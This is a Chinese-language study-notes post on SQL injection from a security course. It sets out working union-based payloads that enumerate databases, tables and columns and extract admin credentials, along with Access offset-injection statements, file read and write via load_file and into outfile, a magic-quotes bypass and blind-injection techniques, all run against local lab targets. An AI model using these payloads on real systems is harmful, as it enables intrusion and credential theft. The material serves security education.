小弟安全12-16集重要知识点

发布时间 2023-06-06 18:59:07作者: 李俊涛

 

      SQL注入原理
  • 1. 理解SQL注入,SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。由于sql语句本身的多样性,以及可用于构造sql语句的编程方法很多,因此凡是构造sql语句的步骤均存在被攻击的潜在风险。Sql注入的方式主要是直接将代码插入参数中,这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时,恶意代码就将被执行。
  • 如果web应用未对动态构造的sql语句使用的参数进行正确性审查(即便使用了参数化技术),攻击者就很可能会修改后台sql语句的构造。如果攻击者能够修改sql语句,那么该语句将与应用的用户具有相同的权限。当使用sql服务器执行与操作系统交互命令时,该进程将与执行命令的组件(如数据库服务器、应用服务器或web服务器)拥有相同的权限,这种权限的级别通常很高。如果攻击者执行以上恶意代码的插入操作成功,那么用户数据库服务器或者整个应用会遭到破坏,甚至被控制。
  • sql注入产生条件:php语句中产生可控变量 $id不能是一个固定值 代码中没有过滤语句或不严谨
0
  • $id来接收 $sql来拼接 $result来执行
0
-----数据库大概5.0以上为高版本 5.0以下为低版本
进入phpstudy命令行 mysql -uroot -proot -h 127.0.0.1
基本语句: show databases; 展示数据库 每一个数据库对应一个网站
use 数据库名字; 进入数据库
show tables;展示表
select * from 表名;查询表 加*号意思为查所有 把*改为表中有的列名就是查询那一列
必要知识点:1.在mysql5.0以上版本中 自带一个数据库名为information_schema,这个数据库存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息
2.在数据库中“.”代表下一级 例如xiaodi.user 代表xiaodi数据库下面的user表名
3.information_schema.tables记录了所有表的表 information_schema.columns 记录所有列名的表
4.table_name 表名 column_name 列名 table_schema数据库名
 
information_schema
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
SCHEMATA表
当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据
 
查询所有数据库名 :
union select 1,group_concat(schema_name),3,4 from information_schema.schemate
##table_schema是表tables和columns中的字段,schema_name是表schemata下的字段
查询指定表名下的指定列名:比如在qqyw表中查admin的列名信息 由于admin很常见 所有如果多个数据库中可能含有多个admin表 要指定数据库:
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='admin' and table_schema='数据库名字'
查询指定数据:u,p
union select 1,u,p,4 from 数据库名.admin 需要指定一下
高权限注入及低权限注入
--+ 在mysql中代表注释后面的语句
#跨库查询及应用思路
information_schema 表特性,记录库名,表名,列名对应表
获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from
information_schema.schemata
获取指定 qqyw 数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'
获取指定 qqyw 下的表名 admin 下的列名信息:
由于admin很常见 所有如果多个数据库中可能含有多个admin表 要指定数据库
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'
获取指定 qqyw 下的 admin 数据
union select 1,u,p,4 from qqyw.admin 需要指定数据库
#文件读写操作
load_file():读取函数 写路径的时候用'/' '\'默认为转义字符
into outfile 或 into dumpfile :导出函数
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
windows:
d:/wwwroot/xiaodi8/
linux:
/var/www/xiaodi8
常见读取文件列表:常见写入文件问题:魔术引号开关
magic_quotes_gpc 魔术引号会对 ‘ “ / NULL进行编译
解决办法:把读取的网址进行编码 编码为Hex进行读取
#魔术引号及常见防护
#低版本注入配合读取或暴力
字典或读取
#简要明确参数类型
数字,字符,搜索,JSON 等
#简要明确请求方法
GET,POST,COOKIE,REQUEST,HTTP 头等
其中 SQL 语句干扰符号:',",%,),}等,具体需看写法
简要学习各种数据库的注入特点
access,mysql, mssql , mongoDB,postgresql, sqlite,oracle,sybase等 mssql最高权限用户-sysadmin
 
1、access注入
Access数据库 表名 列名 数据 Access就是数据库 一个access数据库对应一个网站
access 数据库都是存放在网站目录下,后缀格式为 mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,
access三大攻击手法
1.access注入攻击片段-联合查询法 2.access注入攻击片段-逐字猜解法 3.工具类的使用注入(推荐)
Access注入攻击方式
主要有:union 注入、http header 注入、偏移注入等
2.mssql注入
 
Access 偏移注入:解决列名获取不到的情况
查看登陆框源代码的表单值或观察 URL 特征等也可以针对表或列获取不到的情况
先爆字段--127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
然后从后面22加* 依次删直到显示正常
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin --显示正常
22-16=6 表名对应列的个数
一级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
在10后加* from后相当于一个* 22-12=10 后查看网页源代码 数据随机分布
二级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
再减去一个6 22-18=4 后查看网页源代码
select 查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text)--news-表名--括号内-列名 values(2,'x','$t')--值
delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'
order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的 SQL 查询方式
SQL 注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断
或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的 SQL 盲注-逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的 SQL 盲注-延时判断
if,sleep
基于报错的 SQL 盲注-报错回显
floor,updatexml,extractvalue
参考:
like 'ro%'
#判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
if(条件,5,0)
#条件成立 返回 5 反之 返回 0
sleep(5)
#SQL 语句延时执行 5 秒
mid(a,b,c)
#从位置 b 开始(不包含b),截取 a 字符串的 c 位长度 --mid不包含b 所以查第一个字母 从0
substr(a,b,c)
#从 b 位置开始(包含b),截取字符串 a 的 c位 长度 --substr包含b 所以查第一个字母 从1
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97